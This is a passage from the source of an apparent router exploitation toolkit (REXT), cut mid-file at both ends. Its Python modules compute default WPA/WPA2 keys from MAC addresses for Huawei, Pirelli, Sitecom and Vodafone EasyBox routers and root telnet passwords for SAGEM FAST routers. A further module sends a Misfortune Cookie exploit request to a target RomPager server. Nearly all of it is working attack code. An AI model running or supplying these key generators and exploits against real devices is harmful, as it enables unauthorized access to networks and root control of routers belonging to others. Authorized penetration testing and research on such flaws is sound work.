[0, 8, 1, 9, 3, 11, 2, 10, 6, 14, 7, 15, 5, 13, 4, 12] 79 | a14 = [0, 1, 3, 2, 7, 6, 4, 5, 14, 15, 13, 12, 9, 8, 10, 11] 80 | a15 = [0, 1, 3, 2, 6, 7, 5, 4, 13, 12, 14, 15, 11, 10, 8, 9] 81 | n1 = [0, 14, 10, 4, 8, 6, 2, 12, 0, 14, 10, 4, 8, 6, 2, 12] 82 | n2 = [0, 8, 0, 8, 3, 11, 3, 11, 6, 14, 6, 14, 5, 13, 5, 13] 83 | n3 = [0, 0, 3, 3, 2, 2, 1, 1, 4, 4, 7, 7, 6, 6, 5, 5] 84 | n4 = [0, 11, 12, 7, 15, 4, 3, 8, 14, 5, 2, 9, 1, 10, 13, 6] 85 | n5 = [0, 5, 1, 4, 6, 3, 7, 2, 12, 9, 13, 8, 10, 15, 11, 14] 86 | n6 = [0, 14, 4, 10, 11, 5, 15, 1, 6, 8, 2, 12, 13, 3, 9, 7] 87 | n7 = [0, 9, 0, 9, 5, 12, 5, 12, 10, 3, 10, 3, 15, 6, 15, 6] 88 | n8 = [0, 5, 11, 14, 2, 7, 9, 12, 12, 9, 7, 2, 14, 11, 5, 0] 89 | n9 = [0, 0, 0, 0, 4, 4, 4, 4, 0, 0, 0, 0, 4, 4, 4, 4] 90 | n10 = [0, 8, 1, 9, 3, 11, 2, 10, 5, 13, 4, 12, 6, 14, 7, 15] 91 | n11 = [0, 14, 13, 3, 9, 7, 4, 10, 6, 8, 11, 5, 15, 1, 2, 12] 92 | n12 = [0, 13, 10, 7, 4, 9, 14, 3, 10, 7, 0, 13, 14, 3, 4, 9] 93 | n13 = [0, 1, 3, 2, 6, 7, 5, 4, 15, 14, 12, 13, 9, 8, 10, 11] 94 | n14 = [0, 1, 3, 2, 4, 5, 7, 6, 12, 13, 15, 14, 8, 9, 11, 10] 95 | n15 = [0, 6, 12, 10, 9, 15, 5, 3, 2, 4, 14, 8, 11, 13, 7, 1] 96 | n16 = [0, 11, 6, 13, 13, 6, 11, 0, 11, 0, 13, 6, 6, 13, 0, 11] 97 | n17 = [0, 12, 8, 4, 1, 13, 9, 5, 3, 15, 11, 7, 2, 14, 10, 6] 98 | n18 = [0, 12, 9, 5, 2, 14, 11, 7, 5, 9, 12, 0, 7, 11, 14, 2] 99 | n19 = [0, 6, 13, 11, 10, 12, 7, 1, 5, 3, 8, 14, 15, 9, 2, 4] 100 | n20 = [0, 9, 3, 10, 7, 14, 4, 13, 14, 7, 13, 4, 9, 0, 10, 3] 101 | n21 = [0, 4, 8, 12, 1, 5, 9, 13, 2, 6, 10, 14, 3, 7, 11, 15] 102 | n22 = [0, 1, 2, 3, 5, 4, 7, 6, 11, 10, 9, 8, 14, 15, 12, 13] 103 | n23 = [0, 7, 15, 8, 14, 9, 1, 6, 12, 11, 3, 4, 2, 5, 13, 10] 104 | n24 = [0, 5, 10, 15, 4, 1, 14, 11, 8, 13, 2, 7, 12, 9, 6, 3] 105 | n25 = [0, 11, 6, 13, 13, 6, 11, 0, 10, 1, 12, 7, 7, 12, 1, 10] 106 | n26 = [0, 13, 10, 7, 4, 9, 14, 3, 8, 5, 2, 15, 12, 1, 6, 11] 107 | n27 = [0, 4, 9, 13, 2, 6, 11, 15, 5, 1, 12, 8, 7, 3, 14, 10] 108 | n28 = [0, 14, 12, 2, 8, 6, 4, 10, 0, 14, 12, 2, 8, 6, 4, 10] 109 | n29 = [0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3] 110 | n30 = [0, 15, 14, 1, 12, 3, 2, 13, 8, 7, 6, 9, 4, 11, 10, 5] 111 | n31 = [0, 10, 4, 14, 9, 3, 13, 7, 2, 8, 6, 12, 11, 1, 15, 5] 112 | n32 = [0, 10, 5, 15, 11, 1, 14, 4, 6, 12, 3, 9, 13, 7, 8, 2] 113 | n33 = [0, 4, 9, 13, 3, 7, 10, 14, 7, 3, 14, 10, 4, 0, 13, 9] 114 | key = [30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 61, 62, 63, 64, 65, 66] 115 | ssid = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 'a', 'b', 'c', 'd', 'e', 'f'] 116 | 117 | s1 = (n1[mac_array[0]]) ^ (a4[mac_array[1]]) ^ (a6[mac_array[2]]) ^ (a1[mac_array[3]]) ^ \ 118 | (a11[mac_array[4]]) ^ (n20[mac_array[5]]) ^ (a10[mac_array[6]]) ^ (a4[mac_array[7]]) ^ \ 119 | (a8[mac_array[8]]) ^ (a2[mac_array[9]]) ^ (a5[mac_array[10]]) ^ (a9[mac_array[11]]) ^ 5 120 | 121 | s2 = (n2[mac_array[0]]) ^ (n8[mac_array[1]]) ^ (n15[mac_array[2]]) ^ (n17[mac_array[3]]) ^ \ 122 | (a12[mac_array[4]]) ^ (n21[mac_array[5]]) ^ (n24[mac_array[6]]) ^ (a9[mac_array[7]]) ^ \ 123 | (n27[mac_array[8]]) ^ (n29[mac_array[9]]) ^ (a11[mac_array[10]]) ^ (n32[mac_array[11]]) ^ 10 124 | 125 | s3 = (n3[mac_array[0]]) ^ (n9[mac_array[1]]) ^ (a5[mac_array[2]]) ^ (a9[mac_array[3]]) ^ \ 126 | (n19[mac_array[4]]) ^ (n22[mac_array[5]]) ^ (a12[mac_array[6]]) ^ (n25[mac_array[7]]) ^ \ 127 | (a11[mac_array[8]]) ^ (a13[mac_array[9]]) ^ (n30[mac_array[10]]) ^ (n33[mac_array[11]]) ^ 11 128 | 129 | s4 = (n4[mac_array[0]]) ^ (n10[mac_array[1]]) ^ (n16[mac_array[2]]) ^ (n18[mac_array[3]]) ^ \ 130 | (a13[mac_array[4]]) ^ (n23[mac_array[5]]) ^ (a1[mac_array[6]]) ^ (n26[mac_array[7]]) ^ \ 131 | (n28[mac_array[8]]) ^ (a3[mac_array[9]]) ^ (a6[mac_array[10]]) ^ (a0[mac_array[11]]) ^ 10 132 | 133 | ya = (a2[mac_array[0]]) ^ (n11[mac_array[1]]) ^ (a7[mac_array[2]]) ^ (a8[mac_array[3]]) ^ \ 134 | (a14[mac_array[4]]) ^ (a5[mac_array[5]]) ^ (a5[mac_array[6]]) ^ (a2[mac_array[7]]) ^ \ 135 | (a0[mac_array[8]]) ^ (a1[mac_array[9]]) ^ (a15[mac_array[10]]) ^ (a0[mac_array[11]]) ^ 13 136 | 137 | yb = (n5[mac_array[0]]) ^ (n12[mac_array[1]]) ^ (a5[mac_array[2]]) ^ (a7[mac_array[3]]) ^ \ 138 | (a2[mac_array[4]]) ^ (a14[mac_array[5]]) ^ (a1[mac_array[6]]) ^ (a5[mac_array[7]]) ^ \ 139 | (a0[mac_array[8]]) ^ (a0[mac_array[9]]) ^ (n31[mac_array[10]]) ^ (a15[mac_array[11]]) ^ 4 140 | 141 | yc = (a3[mac_array[0]]) ^ (a5[mac_array[1]]) ^ (a2[mac_array[2]]) ^ (a10[mac_array[3]]) ^ \ 142 | (a7[mac_array[4]]) ^ (a8[mac_array[5]]) ^ (a14[mac_array[6]]) ^ (a5[mac_array[7]]) ^ \ 143 | (a5[mac_array[8]]) ^ (a2[mac_array[9]]) ^ (a0[mac_array[10]]) ^ (a1[mac_array[11]]) ^ 7 144 | 145 | yd = (n6[mac_array[0]]) ^ (n13[mac_array[1]]) ^ (a8[mac_array[2]]) ^ (a2[mac_array[3]]) ^ \ 146 | (a5[mac_array[4]]) ^ (a7[mac_array[5]]) ^ (a2[mac_array[6]]) ^ (a14[mac_array[7]]) ^ \ 147 | (a1[mac_array[8]]) ^ (a5[mac_array[9]]) ^ (a0[mac_array[10]]) ^ (a0[mac_array[11]]) ^ 14 148 | 149 | ye = (n7[mac_array[0]]) ^ (n14[mac_array[1]]) ^ (a3[mac_array[2]]) ^ (a5[mac_array[3]]) ^ \ 150 | (a2[mac_array[4]]) ^ (a10[mac_array[5]]) ^ (a7[mac_array[6]]) ^ (a8[mac_array[7]]) ^ \ 151 | (a14[mac_array[8]]) ^ (a5[mac_array[9]]) ^ (a5[mac_array[10]]) ^ (a2[mac_array[11]]) ^ 7 152 | 153 | key_string = str(key[ya]) + str(key[yb]) + str(key[yc]) + str(key[yd]) + str(key[ye]) 154 | ssid_string = str(ssid[s1]) + str(ssid[s2]) + str(ssid[s3]) + str(ssid[s4]) 155 | 156 | print_success("WEP key generated") 157 | print("SSID:" + ssid_string) 158 | print("WEP Key:" + key_string) 159 | 160 | Misc() 161 | -------------------------------------------------------------------------------- /modules/misc/huawei/hg8245_mac2wpa.py: -------------------------------------------------------------------------------- 1 | # Name:Huawei HG8245/HG8247 mac2wpakey 2 | # File:hg8245_mac2wpa.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 18.7.2015 6 | # Last modified: 18.7.2015 7 | # Shodan Dork: 8 | # Description: Generates WPA key for Huawei HG8245/HG8247 based on mac. 9 | # Based on function HG824x() routerpwn.com 10 | 11 | import core.Misc 12 | import core.io 13 | from interface.messages import print_success, print_error, print_help, print_info 14 | from interface.utils import validate_mac, lookup_mac 15 | 16 | 17 | class Misc(core.Misc.RextMisc): 18 | """ 19 | Name:Huawei HG8245/HG8247 mac2wpakey 20 | File:hg8245_mac2wpa.py 21 | Author:Ján Trenčanský 22 | License: GNU GPL v3 23 | Created: 18.7.2015 24 | Description: Generates WPA key for Huawei HG8245/HG8247 based on mac. 25 | Based on: function HG824x() routerpwn.com 26 | 27 | Options: 28 | Name Description 29 | 30 | mac MAC address used as input for WPA password generation 31 | """ 32 | mac = "00:00:00:00:00" 33 | 34 | def __init__(self): 35 | core.Misc.RextMisc.__init__(self) 36 | 37 | def do_set(self, e): 38 | args = e.split(' ') 39 | if args[0] == "mac": 40 | if validate_mac(args[1]): 41 | self.mac = args[1] 42 | print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) 43 | else: 44 | print_error("please provide valid MAC address") 45 | 46 | def do_mac(self, e): 47 | print_info(self.mac) 48 | 49 | def help_set(self): 50 | print_help("Set value of variable: \"set mac 00:11:22:33:44:55\"") 51 | 52 | def help_mac(self): 53 | print_help("Prints value of variable MAC") 54 | 55 | def do_run(self, e): 56 | mac = self.mac 57 | mac = mac.upper() 58 | mac = mac.replace("-", ":") 59 | mac = mac.split(":") 60 | 61 | last = mac[0] 62 | part1 = mac[3] 63 | part2 = mac[4] 64 | partx = mac[5] 65 | #extract = mac[5].split("") 66 | part3 = mac[5][0] 67 | offset = mac[5][1] 68 | integer = int(offset, 16) 69 | value = int(part3, 16) 70 | 71 | if 0 <= integer <= 8: 72 | if value == 0: 73 | val = "F" 74 | else: 75 | value -= 1 76 | val = format(value, 'x') 77 | val = val.upper() 78 | 79 | if offset == "8": 80 | part3 = "F" 81 | elif offset == "C": 82 | part3 = "3" 83 | elif offset == "0": 84 | part3 = "7" 85 | elif offset == "4": 86 | part3 = "B" 87 | elif offset == "9": 88 | part3 = "0" 89 | elif offset == "D": 90 | part3 = "4" 91 | elif offset == "1": 92 | part3 = "8" 93 | elif offset == "5": 94 | part3 = "C" 95 | elif offset == "A": 96 | part3 = "1" 97 | elif offset == "E": 98 | part3 = "5" 99 | elif offset == "2": 100 | part3 = "9" 101 | elif offset == "6": 102 | part3 = "D" 103 | elif offset == "B": 104 | part3 = "2" 105 | elif offset == "F": 106 | part3 = "6" 107 | elif offset == "3": 108 | part3 = "A" 109 | elif offset == "7": 110 | part3 = "E" 111 | 112 | if last == "28": 113 | part4 = "03" 114 | elif last == "00": 115 | part4 = "0D" 116 | elif last == "AC": 117 | part4 = "1A" 118 | elif last == "08": 119 | part4 = "05" 120 | elif last == "10": 121 | part4 = "0E" 122 | elif last == "20": 123 | part4 = "1F" 124 | elif last == "80": 125 | part4 = "06" 126 | elif last == "CC": 127 | part4 = "12" 128 | elif last == "70": 129 | part4 = "20" 130 | elif last == "E0": 131 | part4 = "0C" 132 | elif last == "D4": 133 | part4 = "35" 134 | elif last == "F8": 135 | part4 = "21" 136 | elif last == "48": 137 | part4 = "24" 138 | else: 139 | print_error("not possible to generate WPA key from MAC") 140 | return 141 | 142 | integer = int(partx, 16) 143 | if 0 <= integer <= 8: 144 | new_v = int(part2, 16) 145 | new_value = new_v - 1 146 | part2 = format(new_value, 'x') 147 | part2 = part2.upper() 148 | if val == 0: 149 | val = "F" 150 | print_success("WPA key generated") 151 | print("WPA Key: " + part1 + part2 + val + part3 + part4) 152 | 153 | Misc() 154 | 155 | -------------------------------------------------------------------------------- /modules/misc/pirelli/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = 'john' 2 | -------------------------------------------------------------------------------- /modules/misc/pirelli/drg_a255_mac2wpa.py: -------------------------------------------------------------------------------- 1 | # Name:Pirelli Discus DRG A225 WiFi router default WPA generator 2 | # File:drg_a255_mac2wpa.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 24.7.2015 6 | # Last modified: 24.7.2015 7 | # Shodan Dork: 8 | # Description: Generates WPA key for Pirelli Discus DRG A225 (used e.g. by Croatian T-com) 9 | # Based on work of Muris Kurgas 10 | # http://www.remote-exploit.org/content/Pirelli_Discus_DRG_A225_WiFi_router.pdf 11 | 12 | import core.Misc 13 | import core.io 14 | from interface.messages import print_success, print_error, print_help, print_info 15 | from interface.utils import validate_mac, lookup_mac 16 | 17 | 18 | class Misc(core.Misc.RextMisc): 19 | """ 20 | Name:Pirelli Discus DRG A225 WiFi router default WPA generator 21 | File:drg_a255_mac2wpa.py 22 | Author:Ján Trenčanský 23 | License: GNU GPL v3 24 | Created: 24.7.2015 25 | Description: Generates WPA key for Pirelli Discus DRG A225 (used e.g. by Croatian T-com) 26 | Based on: Work of Muris Kurgas http://www.remote-exploit.org/content/Pirelli_Discus_DRG_A225_WiFi_router.pdf 27 | 28 | Options: 29 | Name Description 30 | 31 | mac MAC address used as input for WPA password generation 32 | """ 33 | mac = "00:00:00:00:00" 34 | 35 | def __init__(self): 36 | core.Misc.RextMisc.__init__(self) 37 | 38 | def do_set(self, e): 39 | args = e.split(' ') 40 | if args[0] == "mac": 41 | if validate_mac(args[1]): 42 | self.mac = args[1] 43 | print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) 44 | else: 45 | print_error("please provide valid MAC address") 46 | 47 | def do_mac(self, e): 48 | print_info(self.mac) 49 | 50 | def help_set(self): 51 | print_help("Set value of variable: \"set mac 00:11:22:33:44:55\"") 52 | 53 | def help_mac(self): 54 | print_help("Prints value of variable MAC") 55 | 56 | def do_run(self, e): 57 | mac = self.mac 58 | mac = mac.upper() 59 | mac = mac.replace("-", "") 60 | mac = mac.replace(":", "") 61 | 62 | const = int('D0EC31', 16) 63 | inp = int(mac[6:], 16) 64 | result = (inp - const)//4 65 | ssid = "Discus--"+mac[6:] 66 | key = "YW0" + str(result) 67 | 68 | print_success("WPA key generated") 69 | print("Possible SSID: " + ssid) 70 | print("WPA Key: " + key) 71 | 72 | Misc() -------------------------------------------------------------------------------- /modules/misc/sagem/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = 'john' 2 | -------------------------------------------------------------------------------- /modules/misc/sagem/fast_telnet_password.py: -------------------------------------------------------------------------------- 1 | # Name:SAGEM FAST telnet password generator 2 | # File:fast_telnet_password.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 21.7.2015 6 | # Last modified: 21.7.2015 7 | # Shodan Dork: 8 | # Description: Generates root telnet password for various SAGEM FAST routers 9 | # (Sagem Fast 3304-V1 / 3304-V2 / 3464 / 3504) 10 | # Based on work of Elouafiq Ali https://www.exploit-db.com/exploits/17670/ 11 | 12 | import core.Misc 13 | import core.io 14 | from interface.messages import print_success, print_error, print_help, print_info 15 | from interface.utils import validate_mac, lookup_mac 16 | 17 | 18 | class Misc(core.Misc.RextMisc): 19 | """ 20 | Name:SAGEM FAST telnet password generator 21 | File:fast_telnet_password.py 22 | Author:Ján Trenčanský 23 | License: GNU GPL v3 24 | Created: 21.7.2015 25 | Description: Generates root telnet password for various SAGEM FAST routers 26 | (Sagem Fast 3304-V1 / 3304-V2 / 3464 / 3504) 27 | Based on: Work of Elouafiq Ali https://www.exploit-db.com/exploits/17670/ 28 | 29 | Options: 30 | Name Description 31 | 32 | mac MAC address used as input for telnet password generation 33 | """ 34 | mac = "00:00:00:00:00" 35 | 36 | def __init__(self): 37 | core.Misc.RextMisc.__init__(self) 38 | 39 | def do_set(self, e): 40 | args = e.split(' ') 41 | if args[0] == "mac": 42 | if validate_mac(args[1]): 43 | self.mac = args[1] 44 | print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) 45 | else: 46 | print_error("please provide valid MAC address") 47 | 48 | def do_mac(self, e): 49 | print_info(self.mac) 50 | 51 | def help_set(self): 52 | print_help("Set value of variable: \"set mac 00:11:22:33:44:55\"") 53 | 54 | def help_mac(self): 55 | print_help("Prints value of variable MAC") 56 | 57 | def do_run(self, e): 58 | mac = self.mac 59 | mac = mac.upper() 60 | mac = mac.replace("-", "") 61 | mac = mac.replace(":", "") 62 | 63 | password = [c for c in "00000000"] 64 | mac = [c.lower() for c in mac] 65 | 66 | password[0] = self.mash(mac[5], mac[11]) 67 | password[1] = self.mash(mac[0], mac[2]) 68 | password[2] = self.mash(mac[10], mac[11]) 69 | password[3] = self.mash(mac[0], mac[9]) 70 | password[4] = self.mash(mac[10], mac[6]) 71 | password[5] = self.mash(mac[3], mac[9]) 72 | password[6] = self.mash(mac[1], mac[6]) 73 | password[7] = self.mash(mac[3], mac[4]) 74 | password = "".join(p for p in password) 75 | 76 | print_success("password generated") 77 | print("Telnet password for root is: " + password) 78 | 79 | def mash(self, a, b): 80 | first = min(a, b) 81 | second = max(a, b) 82 | if int(second, 16) < 10: 83 | if int(first, 16)+int(second, 16) <= 9: 84 | return chr(ord(first)+int(second, 16)) 85 | else: 86 | return hex(ord(first)+int(second, 16)) 87 | else: 88 | return chr(ord(second)+int(first, 16)) 89 | 90 | Misc() 91 | -------------------------------------------------------------------------------- /modules/misc/sitecom/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = 'john' 2 | -------------------------------------------------------------------------------- /modules/misc/sitecom/wlr-400X_mac2wpa.py: -------------------------------------------------------------------------------- 1 | # Name:Default WPA key generator for Sitecom WLR-4000/4004 routers 2 | # File:wlr-400X_mac2wpa.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 22.7.2015 6 | # Last modified: 22.7.2015 7 | # Shodan Dork: 8 | # Description: Generates default WPA key for Sitecom WLR-4000/4004 routers 9 | # Based on work of Roberto Paleari (@rpaleari) and Alessandro Di Pinto (@adipinto) 10 | # http://blog.emaze.net/2014/04/sitecom-firmware-and-wifi.html 11 | 12 | import core.Misc 13 | import core.io 14 | from interface.messages import print_success, print_error, print_help, print_info 15 | from interface.utils import validate_mac, lookup_mac 16 | 17 | import binascii 18 | 19 | 20 | class Misc(core.Misc.RextMisc): 21 | """ 22 | Name:Default WPA key generator for Sitecom WLR-4000/4004 routers 23 | File:wlr-400X_mac2wpa.py 24 | Author:Ján Trenčanský 25 | License: GNU GPL v3 26 | Created: 22.7.2015 27 | Description: Generates default WPA key for Sitecom WLR-4000/4004 routers 28 | Based on: Work of Roberto Paleari (@rpaleari) and Alessandro Di Pinto (@adipinto) 29 | http://blog.emaze.net/2014/04/sitecom-firmware-and-wifi.html 30 | 31 | Options: 32 | Name Description 33 | 34 | mac MAC address used as input for WPA password generation 35 | """ 36 | mac = "00:00:00:00:00" 37 | 38 | def __init__(self): 39 | core.Misc.RextMisc.__init__(self) 40 | 41 | def do_set(self, e): 42 | args = e.split(' ') 43 | if args[0] == "mac": 44 | if validate_mac(args[1]): 45 | self.mac = args[1] 46 | print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) 47 | else: 48 | print_error("please provide valid MAC address") 49 | 50 | def do_mac(self, e): 51 | print_info(self.mac) 52 | 53 | def help_set(self): 54 | print_help("Set value of variable: \"set mac 00:11:22:33:44:55\"") 55 | 56 | def help_mac(self): 57 | print_help("Prints value of variable MAC") 58 | 59 | def do_run(self, e): 60 | mac = self.mac 61 | mac = mac.upper() 62 | mac = mac.replace("-", "") 63 | mac = mac.replace(":", "") 64 | ssid = "Sitecom%s" % mac[6:].upper() 65 | wpa_4000 = self.generate_key(mac, "4000") 66 | wpa_4004 = self.generate_key(mac, "4004") 67 | 68 | print_success("WPA keys generated") 69 | print("SSID:" + ssid) 70 | print("WPA Key for model WLR-4000: " + wpa_4000) 71 | print("WPA Key for model WLR-4004: " + wpa_4004) 72 | 73 | def generate_key(self, mac, model, keylength=12): 74 | charsets = { 75 | "4000": ( 76 | "23456789ABCDEFGHJKLMNPQRSTUVWXYZ38BZ", 77 | "WXCDYNJU8VZABKL46PQ7RS9T2E5H3MFGPWR2" 78 | ), 79 | 80 | "4004": ( 81 | "JKLMNPQRST23456789ABCDEFGHUVWXYZ38BK", 82 | "E5MFJUWXCDKL46PQHAB3YNJ8VZ7RS9TR2GPW" 83 | ), 84 | } 85 | 86 | charset1, charset2 = charsets[model] 87 | mac = bytearray.fromhex(mac) 88 | 89 | val = int(binascii.hexlify(mac[2:6]), 16) 90 | 91 | magic1 = 0x98124557 92 | magic2 = 0x0004321a 93 | magic3 = 0x80000000 94 | 95 | offsets = [] 96 | for i in range(keylength): 97 | if (val & 0x1) == 0: 98 | val ^= magic2 99 | val >>= 1 100 | else: 101 | val ^= magic1 102 | val >>= 1 103 | val |= magic3 104 | 105 | offset = val % len(charset1) 106 | offsets.append(offset) 107 | 108 | wpakey = "" 109 | wpakey += charset1[offsets[0]] 110 | 111 | for i in range(0, keylength-1): 112 | magic3 = offsets[i] 113 | magic1 = offsets[i+1] 114 | 115 | if magic3 != magic1: 116 | magic3 = charset1[magic1] 117 | else: 118 | magic3 = (magic3 + i) % len(charset1) 119 | magic3 = charset2[magic3] 120 | wpakey += magic3 121 | 122 | return wpakey 123 | 124 | Misc() -------------------------------------------------------------------------------- /modules/misc/vodafone/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = 'john' 2 | -------------------------------------------------------------------------------- /modules/misc/vodafone/easybox_wpa2_keygen.py: -------------------------------------------------------------------------------- 1 | # Name:Vodafone Easybox Standard WPA2 Key Generator 2 | # File:easybox_wpa2_keygen.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 13.6.2015 6 | # Last modified: 13.6.2015 7 | # Shodan Dork: 8 | # Description: Generates WPA2 Key for Vodafone easybox. Based on routerpwn.com easyboxwpa() 9 | 10 | import core.Misc 11 | import core.io 12 | from interface.messages import print_success, print_error, print_help, print_info 13 | from interface.utils import validate_mac, lookup_mac 14 | 15 | 16 | class Misc(core.Misc.RextMisc): 17 | """ 18 | Name:Vodafone Easybox Standard WPA2 Key Generator 19 | File:easybox_wpa2_keygen.py 20 | Author:Ján Trenčanský 21 | License: GNU GPL v3 22 | Created: 13.6.2015 23 | Description: Generates WPA2 Key for Vodafone easybox. Based on routerpwn.com easyboxwpa() 24 | 25 | Options: 26 | Name Description 27 | 28 | mac MAC address used as input for WPA2 password generation 29 | """ 30 | mac = "00:00:00:00:00" 31 | 32 | def __init__(self): 33 | core.Misc.RextMisc.__init__(self) 34 | 35 | def do_set(self, e): 36 | args = e.split(' ') 37 | if args[0] == "mac": 38 | if validate_mac(args[1]): 39 | self.mac = args[1] 40 | print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) 41 | else: 42 | print_error("please provide valid MAC address") 43 | 44 | def do_mac(self, e): 45 | print_info(self.mac) 46 | 47 | def help_set(self): 48 | print_help("Set value of variable: \"set mac 00:11:22:33:44:55\"") 49 | 50 | def help_mac(self): 51 | print_help("Prints value of variable MAC") 52 | 53 | def do_run(self, e): 54 | mac = self.mac 55 | mac = mac.replace(":", "") 56 | mac = mac.replace("-", "") 57 | 58 | c1 = str(int(mac[8:], 16)) 59 | 60 | while len(c1) < 5: 61 | c1 = "0" + c1 62 | 63 | s6 = int(c1[0], 16) 64 | s7 = int(c1[1], 16) 65 | s8 = int(c1[2], 16) 66 | s9 = int(c1[3], 16) 67 | s10 = int(c1[4], 16) 68 | m7 = int(mac[6], 16) 69 | m8 = int(mac[7], 16) 70 | m9 = int(mac[8], 16) 71 | m10 = int(mac[9], 16) 72 | m11 = int(mac[10], 16) 73 | m12 = int(mac[11], 16) 74 | 75 | k1 = (s7 + s8 + m11 + m12) & 0x0F 76 | k2 = (m9 + m10 + s9 + s10) & 0x0F 77 | 78 | x1 = k1 ^ s10 79 | x2 = k1 ^ s9 80 | x3 = k1 ^ s8 81 | y1 = k2 ^ m10 82 | y2 = k2 ^ m11 83 | y3 = k2 ^ m12 84 | z1 = m11 ^ s10 85 | z2 = m12 ^ s9 86 | z3 = k1 ^ k2 87 | 88 | ssid = "EasyBox-" + format(m7, 'x') + format(m8, 'x') + format(m9, 'x') \ 89 | + format(m10, 'x') + format(s6, 'x') + format(s10, 'x') 90 | 91 | wpakey = format(x1, 'x') + format(y1, 'x') + format(z1, 'x') + \ 92 | format(x2, 'x') + format(y2, 'x') + format(z2, 'x') + \ 93 | format(x3, 'x') + format(y3, 'x') + format(z3, 'x') 94 | 95 | print_success("WPA2 key generated") 96 | print("SSID:" + ssid) 97 | print("WPA2KEY:" + wpakey.upper()) 98 | 99 | 100 | Misc() 101 | -------------------------------------------------------------------------------- /modules/scanners/allegrosoft/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = 'john' 2 | -------------------------------------------------------------------------------- /modules/scanners/allegrosoft/misfortune_cookie.py: -------------------------------------------------------------------------------- 1 | # Name:Misfortune Cookie vulnerability scanner 2 | # File:misfortune_cookie.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 4.2.2014 6 | # Last modified: 19.8.2015 7 | # Shodan Dork: 8 | # Description: PoC based on 31C3 presentation 9 | 10 | import core.Scanner 11 | from interface.messages import print_failed, print_success, print_warning, print_error 12 | 13 | import requests 14 | import requests.exceptions 15 | import re 16 | 17 | 18 | class Scanner(core.Scanner.RextScanner): 19 | """ 20 | Name:Misfortune Cookie vulnerability scanner 21 | File:misfortune_cookie.py 22 | Author:Ján Trenčanský 23 | License: GNU GPL v3 24 | Created: 4.2.2014 25 | Description: PoC based on 31C3 presentation, tries to exploit Misfortune cookie vulnerability with string omg1337hax 26 | 27 | Options: 28 | Name Description 29 | 30 | host Target host address 31 | port Target port 32 | """ 33 | def __init__(self): 34 | core.Scanner.RextScanner.__init__(self) 35 | 36 | def do_run(self, e): 37 | user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' 38 | headers = {'User-Agent': user_agent, 39 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 40 | 'Accept-language': 'sk,cs;q=0.8,en-US;q=0.5,en;q,0.3', 41 | 'Connection': 'keep-alive', 42 | 'Accept-Encoding': 'gzip, deflate', 43 | 'Cache-Control': 'no-cache', 44 | 'Cookie': 'C107373883=/omg1337hax'} 45 | target = 'http://' + self.host + ":" + self.port + '/blabla' 46 | try: 47 | response = requests.get(target, headers=headers, timeout=60) 48 | if response.status_code != 404: 49 | print_failed("Unexpected HTTP status, expecting 404 got: %d" % response.status_code) 50 | print_warning("Device is not running RomPager") 51 | else: 52 | if 'server' in response.headers: 53 | server = response.headers.get('server') 54 | if re.search('RomPager', server) is not None: 55 | print_success("Got RomPager! Server:%s" % server) 56 | if re.search('omg1337hax', response.text) is not None: 57 | print_success("device is vulnerable to misfortune cookie") 58 | else: 59 | print_failed("test didn't pass.") 60 | print_warning("Device MAY still be vulnerable") 61 | else: 62 | print_failed("RomPager not detected, device is running: %s " % server) 63 | else: 64 | print_failed("Not running RomPager") 65 | except requests.exceptions.Timeout: 66 | print_error("Timeout!") 67 | except requests.exceptions.ConnectionError: 68 | print_error("No route to host") 69 | 70 | Scanner() 71 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests>=2.9.1 2 | paramiko>=2.1.1 3 | beautifulsoup4>=4.5.1 -------------------------------------------------------------------------------- /rext.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | #Router EXploitation Toolkit 4 | #rext.py - Startup script 5 | #Author: Ján Trenčanský 6 | #License: GNU GPL v3 7 | 8 | import interface.cmdui 9 | 10 | if __name__ == "__main__": 11 | interpreter = interface.cmdui.Interpreter() 12 | interpreter.cmdloop() 13 | 14 | -------------------------------------------------------------------------------- /tests/test_cmdui.py: -------------------------------------------------------------------------------- 1 | # This file is part of REXT 2 | # test_utils - unit test for interface.cmdui 3 | # Author: Ján Trenčanský 4 | # License: GNU GPL v3 5 | 6 | import io 7 | import sys 8 | import unittest 9 | import core.globals 10 | import unittest.mock 11 | import interface.cmdui 12 | 13 | 14 | # http://stackoverflow.com/questions/30056986/create-automated-tests-for-interactive-shell-based-on-pythons-cmd-module 15 | class CmdUiTest(unittest.TestCase): 16 | def setUp(self): 17 | self.mock_stdout = unittest.mock.create_autospec(sys.stdout) 18 | 19 | def create(self): 20 | return interface.cmdui.Interpreter(stdout=self.mock_stdout) 21 | 22 | # Not really working don't know why, nobody seems to know 23 | # Workaround: mock sys.stdout with StringIO (like banner) 24 | # http://stackoverflow.com/questions/34500249/writing-unittest-for-python3-shell-based-on-cmd-module 25 | def _last_write(self, nr=None): 26 | """:return: last `n` output lines""" 27 | if nr is None: 28 | return self.mock_stdout.write.call_args[0][0] 29 | # It looks like cmd module bypasses .write() 30 | # self.assertTrue(self.mock_stdout.write.called_with) always returns False 31 | return "".join(map(lambda c: c[0][0], self.mock_stdout.write.call_args_list[-nr:])) 32 | 33 | @unittest.mock.patch("interface.cmdui.loader") 34 | 